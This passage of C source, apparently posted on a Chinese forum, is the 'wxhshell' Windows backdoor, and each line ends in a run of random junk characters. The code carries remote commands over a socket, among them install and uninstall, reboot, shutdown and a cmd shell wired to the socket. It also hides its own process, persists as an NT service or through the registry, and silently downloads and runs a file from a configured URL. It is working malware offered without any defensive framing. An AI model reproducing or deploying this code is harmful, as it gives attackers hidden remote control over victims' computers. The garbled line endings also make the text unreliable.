  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |;^$IZSsz  
  } Mm1>g~o  
  else { s6#e?5J  
K@/dQV%Z  
    switch(cmd[0]) { )-Z*/uF^  
  Y kvEQ=  
  // 帮助 :nfy=*M#  
  case '?': { rq\<zx]au  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UUa@7|x  
    break; K$B~vy6E`  
  } }lCQ+s!  
  // 安装 bH:C/P<x  
  case 'i': { hlz/TIP^N3  
    if(Install()) 4/v[ .5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~QUN O~  
    else c%&*yR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BB ::zBg  
    break; ZwiXeD+4  
    } <*P)"G  
  // 卸载 .ud&$-[a  
  case 'r': { xsNOjHk  
    if(Uninstall()) jj]|}G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &PFq(4  
    else zAev@+.ld  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 91DevizXx  
    break; JSaF7(a =  
    } tV4wkS=R|  
  // 显示 wxhshell 所在路径 =h+-1zp{M^  
  case 'p': { =kzHZc  
    char svExeFile[MAX_PATH]; _1WA:7$C  
    strcpy(svExeFile,"\n\r"); .Yz^r?3t  
      strcat(svExeFile,ExeFile);  +ZFN8  
        send(wsh,svExeFile,strlen(svExeFile),0); M&sQnPFH  
    break; ;ZMIYFXRqh  
    } P{Q$(rOe  
  // 重启 *i!t&s  
  case 'b': { 1u(n[<WtT_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Z Ld_VGW  
    if(Boot(REBOOT)) Hw6 2'%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k![H;}W  
    else { 2 MW7nIEs  
    closesocket(wsh); MmFtG-  
    ExitThread(0); #&?}h)Jr'  
    } Ll VbY=EX7  
    break; l-x-  
    } 2 gca *  
  // 关机 :"b:uQ  
  case 'd': { Vn\jUEC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n-,mC /4  
    if(Boot(SHUTDOWN)) }wI +e Mr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ub0$S/Hu  
    else { VN$7r  
    closesocket(wsh); YkFERIa076  
    ExitThread(0); ,p!IFS`  
    } &l4kwds R  
    break; Uv~|Xj4.  
    } mHJGpJ=a-  
  // 获取shell $1Wb`$  
  case 's': { %c%`< y<~L  
    CmdShell(wsh); ZCMH?>  
    closesocket(wsh); 8 @RJ>  
    ExitThread(0); LvZ',u}  
    break; $@L2zl1  
  } 1=`VaS  
  // 退出 :h!'\9   
  case 'x': { NW*#./WdF8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =)*Z rD  
    CloseIt(wsh); Y^;izM}  
    break; z\?<j%e!t  
    } rfzzMV  
  // 离开 +Hp`(^(  
  case 'q': { hF`<I.z}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'tU\~3k  
    closesocket(wsh); | h+vdE8  
    WSACleanup(); c\O2|'JzE  
    exit(1); !| - U,  
    break; Z`zLrXPD)  
        } 4X+I2CD  
  } ]\k& l ['  
  } <'7s3  
x"cB8bZ!$  
  // 提示信息 m`]d`%Ex  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o02G:!gB  
} 1'8-+?r  
  } mgM"u94-]  
4I|pkdF_  
  return; DF gM7if  
} 8U4In[4  
~[~#PO  
// shell模块句柄 j |o&T41  
int CmdShell(SOCKET sock) :uC9 #H"b  
{ 4^d).{&X  
STARTUPINFO si; c++q5bg@)  
ZeroMemory(&si,sizeof(si)); b)E<b{'W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  o|#F@L3i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qZv@ULluc  
PROCESS_INFORMATION ProcessInfo; Kltqe5  
char cmdline[]="cmd"; Wt=@6w&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v"o@q2f_  
  return 0; 3preBs#i  
} BMV\@Sg  
>ffC?5+  
// 自身启动模式 9]1LwX!M2  
int StartFromService(void) * X}2  
{ s#")hMJQ  
typedef struct D(&WEmm\B  
{ |`V=hqe{  
  DWORD ExitStatus;  !$!%era`  
  DWORD PebBaseAddress; iM6(bmc.  
  DWORD AffinityMask; b*{UO  
  DWORD BasePriority; gr{*wYL  
  ULONG UniqueProcessId; <HIM k  
  ULONG InheritedFromUniqueProcessId; ]<r.{EJ  
}   PROCESS_BASIC_INFORMATION;  Q0,eE:  
#JXXq%4 @  
PROCNTQSIP NtQueryInformationProcess; UN:qE oS  
3TS:H1n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D,(:))DmR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,ei=w,O  
T7O)  
  HANDLE             hProcess; %=\*OIhl  
  PROCESS_BASIC_INFORMATION pbi; e$JATA:j  
oL<5hN*D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _#{qDG=  
  if(NULL == hInst ) return 0; XdOntP*a  
WW!-,d{{@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DZEq(>mn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #uCfXJ-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D";clP05K  
|L:X$oM  
  if (!NtQueryInformationProcess) return 0; hJz]N$@W  
OK47Q{.gh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /q'-.-bo  
  if(!hProcess) return 0; (NJ.\m  
wwJs_f\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GMoz$c6n_  
#CB Kt,  
  CloseHandle(hProcess); jc#gn& 4C  
LB}J7yEQvj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xe3Jxo !U  
if(hProcess==NULL) return 0; !T8sWMY  
zqZ/z>Gf  
HMODULE hMod; 2 &_>2"=<@  
char procName[255]; &fU48n1Uh  
unsigned long cbNeeded; lQm7`+  
8LXK3D}?3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )V*`(dn'zm  
?U1Nm~'UZ  
  CloseHandle(hProcess); T1x67 b u  
CJs ~!ww  
if(strstr(procName,"services")) return 1; // 以服务启动 {G<1.  
bT|-G2g7Z  
  return 0; // 注册表启动 vGI)c&C>  
} =wD&hDn4  
yT='V1  
// 主模块 >Ad`_g6Wew  
int StartWxhshell(LPSTR lpCmdLine) ,Ik~E&Ku2'  
{ `@vksjxu  
  SOCKET wsl; [~`p~@\+  
BOOL val=TRUE; P4|A\|t  
  int port=0; 141xi;o  
  struct sockaddr_in door; bUSa#pNO>  
W{j(=<|<  
  if(wscfg.ws_autoins) Install(); N%e^2O)  
Q:b0!  
port=atoi(lpCmdLine); HNlW.y"  
$'<$:;4b3  
if(port<=0) port=wscfg.ws_port; VRSBf;?  
*m`x/_y+  
  WSADATA data; M 8(w+h{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dqd2e&a\  
\0&$ n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %5@> nC?`[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~lqNWL^l  
  door.sin_family = AF_INET; Ap|g[J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OIjG`~Rx  
  door.sin_port = htons(port); DNyt_5j&:  
=e9<.{]S/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a( N;| <  
closesocket(wsl); @uG/2'B(  
return 1; ej=}OH4  
} : Cli8#  
Wc;N;K52   
  if(listen(wsl,2) == INVALID_SOCKET) { UDnCHGq  
closesocket(wsl); H6`zzH0"  
return 1; F"3'~ 6  
} fGe"1MfU  
  Wxhshell(wsl); W2M[w_~QE  
  WSACleanup(); %dhrXK5  
1' dZ?`O  
return 0; ;sz_W%-;@  
ApplWa3  
} (|3?wX'2U  
B8!$?1*^a  
// 以NT服务方式启动 R"\(a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #cb9g   
{ wjT#D|soI  
DWORD   status = 0; r/HG{XH`  
  DWORD   specificError = 0xfffffff; Ea0EG>Y  
y$6EEp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y/pK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1YU?+K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~~I]SI k{  
  serviceStatus.dwWin32ExitCode     = 0; AgUjC  
  serviceStatus.dwServiceSpecificExitCode = 0; ) M(//jX  
  serviceStatus.dwCheckPoint       = 0; b !nA.`T  
  serviceStatus.dwWaitHint       = 0; ~*Y/#kPY  
!<b+7 A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O-P`HKr  
  if (hServiceStatusHandle==0) return; wi[FBLB/8  
9[`\ZGWD  
status = GetLastError(); `R lWhdE  
  if (status!=NO_ERROR) _)4zm  
{ !vHCftKel  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uv{*f)j/d  
    serviceStatus.dwCheckPoint       = 0; ]5MT-qU  
    serviceStatus.dwWaitHint       = 0; %+UTs'I  
    serviceStatus.dwWin32ExitCode     = status; }wEt=zOJ  
    serviceStatus.dwServiceSpecificExitCode = specificError;   &._Mh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qk@BM  
    return; BA T.>  
  } .cmhi3o4  
2+R]q35-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *)HVK&'  
  serviceStatus.dwCheckPoint       = 0; l^$U~OB8k  
  serviceStatus.dwWaitHint       = 0; dKw[#(m5v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *0r!eD   
} *ODc[k'(  
ygUX]*m!  
// 处理NT服务事件,比如:启动、停止 2<V`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G,(Xz"`,  
{ uD ;T   
switch(fdwControl) )_?HBTG  
{ Z1 (!syg  
case SERVICE_CONTROL_STOP: \fYPz }wt  
  serviceStatus.dwWin32ExitCode = 0; yC!>7@m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4r7a ZDVA\  
  serviceStatus.dwCheckPoint   = 0; jX t5.9 t  
  serviceStatus.dwWaitHint     = 0; 9R&.$5[W(s  
  { Oj2=&uz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R m2M  
  } .l,NmF9  
  return; "# Q"gC.K  
case SERVICE_CONTROL_PAUSE: f uH3C~u7<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?b]f$ 2  
  break; E <r;J  
case SERVICE_CONTROL_CONTINUE: |I.5]r-EK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5iGz*_ m  
  break; bW3Ah?0N  
case SERVICE_CONTROL_INTERROGATE: Z_T~2t  
  break; B5;94YIN  
}; o+S?j*mv@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X{h[    
} $! g~pV  
Yg1HvSw\  
// 标准应用程序主函数 Imo?)dYK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p\]rxtm  
{ w&&)v~Y_  
W:2]d  
// 获取操作系统版本 4%u\dTg/B  
OsIsNt=GetOsVer(); QCfR2Nn}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ; y>}LGG  
]\3<UL  
  // 从命令行安装 u$^r(.EV  
  if(strpbrk(lpCmdLine,"iI")) Install(); X(C=O?A  
z7Z!wIzJ  
  // 下载执行文件 G4uOY?0N  
if(wscfg.ws_downexe) { W:2j.K9!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ED A6b]  
  WinExec(wscfg.ws_filenam,SW_HIDE);  w4UJXc  
} :&s8G*  
!1bATO:x  
if(!OsIsNt) { NRe=O*O  
// 如果时win9x,隐藏进程并且设置为注册表启动 :IozWPs*  
HideProc(); 2j[; M-3  
StartWxhshell(lpCmdLine); mxCqN1:#  
} 4}<[4]f?|  
else /8lmNA  
  if(StartFromService()) B)qcu'>iy  
  // 以服务方式启动 SCq3Kh  
  StartServiceCtrlDispatcher(DispatchTable); ;O({|mpS\  
else XeAH.i<  
  // 普通方式启动 s09&A]G  
  StartWxhshell(lpCmdLine); )79F"ltz h  
0-Wv$o[  
return 0; 9]a!1  
}
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只看该作者 1 发表于: 2006-10-10
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